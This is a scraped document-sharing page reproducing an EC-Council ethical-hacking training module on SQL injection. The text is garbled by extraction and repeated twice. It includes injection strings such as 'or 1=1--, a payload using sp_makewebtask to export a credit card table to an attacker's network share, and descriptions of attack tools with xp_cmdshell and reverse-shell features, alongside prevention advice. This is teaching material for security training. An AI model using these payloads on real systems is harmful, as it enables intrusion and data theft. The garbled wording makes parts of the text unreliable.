Ceh Module 19: Sql Injection 3d6h27
This document was ed by and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this report form. Report 3b7i
Overview 3e4r5l
& View Ceh Module 19: Sql Injection as PDF for free.
More details w3441
- Words: 1,442
- Pages: 21
Ethical Hacking and Countermeasures Version 6
Mod le XIX Module SQL Injection
Module Objective This module will familiarize you with: SQL Injection Steps for performing SQL Injection SQL Injection Techniques SQL Injection in Oracle SQL Injection in MySql Attacking k SQL servers Automated Tools for SQL Injection Countermeasures EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
What is SQL Injection SQL injection is a type of security exploit in which the attacker "injects" Structured Query Language (SQL) code through a web form input box box, to gain access to resources, or make changes to data It is a technique q of injecting j g SQL Q commands to exploit p non-validated input p vulnerabilities in a web application database backend Programmers g use sequential q commands with input, p , making g it easier for attackers to inject commands
Att k Attackers can execute t arbitrary bit SQL commands d through th h the th web b application li ti
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Exploiting Web Applications It exploits web applications using client-supplied sql queries i It enables an attacker to execute unauthorized SQL commands d It also takes advantage g of unsafe q queries in web applications and builds dynamic SQL queries For example, when a logs onto a web page by using a name and for validation, validation a SQL query is used However, the attacker can use SQL injection to send specially i ll crafted ft d name and d d fi fields ld th thatt poison the original SQL query EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
What Should You Look For Try to look for pages that allow a to submit data, for example: a page, search h page, , f db k etc Look for HTML pages that use POST or GET commands If POST is used, you cannot see the parameters in the URL Check the source code of the HTML to get information For example, to check whether it is using POST or GET, look for the
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
What If It Doesn’t Take Input Iff input i is i not given, i check h k for f pages like lik ASP, AS JSP, S CGI, CG or PHP
Check the URL that takes the following parameters:
Example: • http:// www.xsecurity.com /index.asp?id=10
In the above example, attackers might attempt: • http://www.xsecurity.com/index.asp?id=blah’ or 1=1-EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
OLE DB Errors The -filled fields are enclosed by a single quotation mark ('). To test, try using i (') as the h name The following error message will be displayed when a (') is entered into a form that is vulnerable ulnerable to an SQL injection attack
If you get this error, then the website is vulnerable to an SQL injection attack EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Input Validation Attack
Input validation attack occurs here on a website EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection Techniques Authorization by
Bying log on forms
Using the SELECT command
Used to retrieve data from the database
Using the INSERT command
Used to add information to the database
SQL Injection techniques:
Using SQL server stored procedures
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
How to Test for SQL Injection Vulnerability Use a single quote in the input: • blah’ or 1=1— • :blah :blah’ or 1=1— 1 1 • :blah’ or 1=1— • http://search/index.asp?id=blah’ or 1=1--
Depending di on the h query, try the h ffollowing ll i possibilities: • ‘ or 1=1-• “ or 1=1-• ‘ or ‘a’=‘a • “ or “a”=“a ) or ( (‘a’=‘a) ) • ‘)
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Getting Output of SQL Query Use sp_makewebtask sp makewebtask to write a query into an HTML
Example • blah‘;EXEC master..sp_makewebtask “\\ “\\10.10.1.4\share\creditcard.html”, \ h \ dit d ht l” • “SELECT * FROM CREDITCARD” • The above command exports a table called credit card, to the attacker’s network share
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection in Oracle
SQL Injection in Oracle can be performed as follows: • UNIONS can be added to the existing statement to execute a second statement • SUBSELECTS can be added to existing statements • Data Definition Language (DDL) can be injected if DDL is used in a dynamic SQL string • INSERTS, UPDATES, and DELETES can also be injected • Anonymous A PL/SQL /SQ block bl k iin procedures d
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection in MySql Database It is not easy to perform SQL injection in a MySql database
While coding with a MySql application, the injection vulnerability is not exploited l i d
Itt iss d difficult cu t to ttrace ace tthee output
You can see an error because the value retrieved is ed on to multiple queries with different numbers of columns before the script ends In such situations, SELECT and UNION commands cannot be used
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection Automated Tools SQLDict SqlExec SQLbf SQLSmack SQL2.exe AppDetective Database Scanner SQLPoke Q NGSSQLCrack NGSSQuirreL SQLPing v2.2 EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Hacking Tool: SQLDict SQLdict is a dictionary attack tool for SQL Server
It tests if the s are strong enough to resist an attack
Source: http://ntsecurity.nu/cgi-bin//sqldict.exe.pl
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Hacking Tool: SQLExec This tool executes commands on compromised Microsoft SQL Servers by using xp_cmdshell p stored procedure It uses a default sa with a NULL USAGE: SQLExec www.target.com
Source: http://phoenix.liu.edu/
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Automagic SQL Injector Automagic SQL Injector is an automated SQL injection tool designed to save time ti in i penetration t ti ttesting ti It is only designed to work with vanilla Microsoft SQL injection holes where h errors are returned d
F Features: • • • •
EC-Council
Browse tables and dump table data to a CSV file U l d fil files using i d debug b script i method h d Automagical UDP reverse shell Interactive xp_cmdshell (simulated cmd.exe shell)
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Blind SQL Injection Blind SQL injection is a hacking method that allows an unauthorized attacker to access a database server It is facilitated by a common coding blunder: program accepts data from a client and executes SQL queries without validating client’s input Attacker is then free to extract, modify, add, or delete content from the database Hackers typically test for SQL injection vulnerabilities by sending application input that would cause server to generate an invalid SQL query EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Preventing SQL Injection Attacks Minimize the privileges of database connections Disable verbose error messages Protect the system “sa”
Audit source codes • • • • EC-Council
Escape single quotes Input validation Reject j known bad input p Input bound checking Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection Blocking Tool: SQLBlock http://www.sqlblock.com
SQLBlock is an ODBC/JDBC driver with a patent pending SQL injection prevention feature
It works as an ordinary ODBC/JDBC data so ce and it monito source, monitorss eevery e SQL statement being executed If the client application tries to execute any un-allowed SQL statements, SQLBlock will block the execution and will send an alert to the
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Summary SQL injection is an attack methodology that targets the data residing in a database d b It attempts to modify the parameters of a web-based application in order to alter the SQL statements that are parsed, in order to retrieve data from the database Database footprinting is the process of mapping the tables on the database and is a crucial tool in the hands of an attacker database, Exploits occur due to coding errors as well as inadequate validation checks Prevention involves enforcing better coding practices and database istration procedures EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Mod le XIX Module SQL Injection
Module Objective This module will familiarize you with: SQL Injection Steps for performing SQL Injection SQL Injection Techniques SQL Injection in Oracle SQL Injection in MySql Attacking k SQL servers Automated Tools for SQL Injection Countermeasures EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
What is SQL Injection SQL injection is a type of security exploit in which the attacker "injects" Structured Query Language (SQL) code through a web form input box box, to gain access to resources, or make changes to data It is a technique q of injecting j g SQL Q commands to exploit p non-validated input p vulnerabilities in a web application database backend Programmers g use sequential q commands with input, p , making g it easier for attackers to inject commands
Att k Attackers can execute t arbitrary bit SQL commands d through th h the th web b application li ti
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Exploiting Web Applications It exploits web applications using client-supplied sql queries i It enables an attacker to execute unauthorized SQL commands d It also takes advantage g of unsafe q queries in web applications and builds dynamic SQL queries For example, when a logs onto a web page by using a name and for validation, validation a SQL query is used However, the attacker can use SQL injection to send specially i ll crafted ft d name and d d fi fields ld th thatt poison the original SQL query EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
What Should You Look For Try to look for pages that allow a to submit data, for example: a page, search h page, , f db k etc Look for HTML pages that use POST or GET commands If POST is used, you cannot see the parameters in the URL Check the source code of the HTML to get information For example, to check whether it is using POST or GET, look for the
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
What If It Doesn’t Take Input Iff input i is i not given, i check h k for f pages like lik ASP, AS JSP, S CGI, CG or PHP
Check the URL that takes the following parameters:
Example: • http:// www.xsecurity.com /index.asp?id=10
In the above example, attackers might attempt: • http://www.xsecurity.com/index.asp?id=blah’ or 1=1-EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
OLE DB Errors The -filled fields are enclosed by a single quotation mark ('). To test, try using i (') as the h name The following error message will be displayed when a (') is entered into a form that is vulnerable ulnerable to an SQL injection attack
If you get this error, then the website is vulnerable to an SQL injection attack EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Input Validation Attack
Input validation attack occurs here on a website EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection Techniques Authorization by
Bying log on forms
Using the SELECT command
Used to retrieve data from the database
Using the INSERT command
Used to add information to the database
SQL Injection techniques:
Using SQL server stored procedures
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
How to Test for SQL Injection Vulnerability Use a single quote in the input: • blah’ or 1=1— • :blah :blah’ or 1=1— 1 1 • :blah’ or 1=1— • http://search/index.asp?id=blah’ or 1=1--
Depending di on the h query, try the h ffollowing ll i possibilities: • ‘ or 1=1-• “ or 1=1-• ‘ or ‘a’=‘a • “ or “a”=“a ) or ( (‘a’=‘a) ) • ‘)
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Getting Output of SQL Query Use sp_makewebtask sp makewebtask to write a query into an HTML
Example • blah‘;EXEC master..sp_makewebtask “\\ “\\10.10.1.4\share\creditcard.html”, \ h \ dit d ht l” • “SELECT * FROM CREDITCARD” • The above command exports a table called credit card, to the attacker’s network share
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection in Oracle
SQL Injection in Oracle can be performed as follows: • UNIONS can be added to the existing statement to execute a second statement • SUBSELECTS can be added to existing statements • Data Definition Language (DDL) can be injected if DDL is used in a dynamic SQL string • INSERTS, UPDATES, and DELETES can also be injected • Anonymous A PL/SQL /SQ block bl k iin procedures d
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection in MySql Database It is not easy to perform SQL injection in a MySql database
While coding with a MySql application, the injection vulnerability is not exploited l i d
Itt iss d difficult cu t to ttrace ace tthee output
You can see an error because the value retrieved is ed on to multiple queries with different numbers of columns before the script ends In such situations, SELECT and UNION commands cannot be used
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection Automated Tools SQLDict SqlExec SQLbf SQLSmack SQL2.exe AppDetective Database Scanner SQLPoke Q NGSSQLCrack NGSSQuirreL SQLPing v2.2 EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Hacking Tool: SQLDict SQLdict is a dictionary attack tool for SQL Server
It tests if the s are strong enough to resist an attack
Source: http://ntsecurity.nu/cgi-bin//sqldict.exe.pl
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Hacking Tool: SQLExec This tool executes commands on compromised Microsoft SQL Servers by using xp_cmdshell p stored procedure It uses a default sa with a NULL USAGE: SQLExec www.target.com
Source: http://phoenix.liu.edu/
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Automagic SQL Injector Automagic SQL Injector is an automated SQL injection tool designed to save time ti in i penetration t ti ttesting ti It is only designed to work with vanilla Microsoft SQL injection holes where h errors are returned d
F Features: • • • •
EC-Council
Browse tables and dump table data to a CSV file U l d fil files using i d debug b script i method h d Automagical UDP reverse shell Interactive xp_cmdshell (simulated cmd.exe shell)
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Blind SQL Injection Blind SQL injection is a hacking method that allows an unauthorized attacker to access a database server It is facilitated by a common coding blunder: program accepts data from a client and executes SQL queries without validating client’s input Attacker is then free to extract, modify, add, or delete content from the database Hackers typically test for SQL injection vulnerabilities by sending application input that would cause server to generate an invalid SQL query EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Preventing SQL Injection Attacks Minimize the privileges of database connections Disable verbose error messages Protect the system “sa”
Audit source codes • • • • EC-Council
Escape single quotes Input validation Reject j known bad input p Input bound checking Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
SQL Injection Blocking Tool: SQLBlock http://www.sqlblock.com
SQLBlock is an ODBC/JDBC driver with a patent pending SQL injection prevention feature
It works as an ordinary ODBC/JDBC data so ce and it monito source, monitorss eevery e SQL statement being executed If the client application tries to execute any un-allowed SQL statements, SQLBlock will block the execution and will send an alert to the
EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Summary SQL injection is an attack methodology that targets the data residing in a database d b It attempts to modify the parameters of a web-based application in order to alter the SQL statements that are parsed, in order to retrieve data from the database Database footprinting is the process of mapping the tables on the database and is a crucial tool in the hands of an attacker database, Exploits occur due to coding errors as well as inadequate validation checks Prevention involves enforcing better coding practices and database istration procedures EC-Council
Copyright © by EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
Related Documents 3m3m1z
Ceh Module 19: Sql Injection 3d6h27
July 2020 0
Sql Injection 6144
April 2022 0
Ceh V7 Module 03 i301y
December 2019 46
Ceh Module 12: Phishing 581f12
July 2020 0
Ceh Module 10: Sniffers 365i1b
July 2020 0
Ceh V7 Module 01 3g3d14
November 2019 48More Documents from "Ahmad Mahmoud" 5y65u
Ceh Module 19: Sql Injection 3d6h27
July 2020 0
Ceh Module 13: Hacking Email s 57249
July 2020 0
Ceh Module 18: Web Based Cracking Techniques 273p36
July 2020 0
Ceh Module 10: Sniffers 365i1b
July 2020 0
Ceh Module 07: System Hacking 605e1g
July 2020 0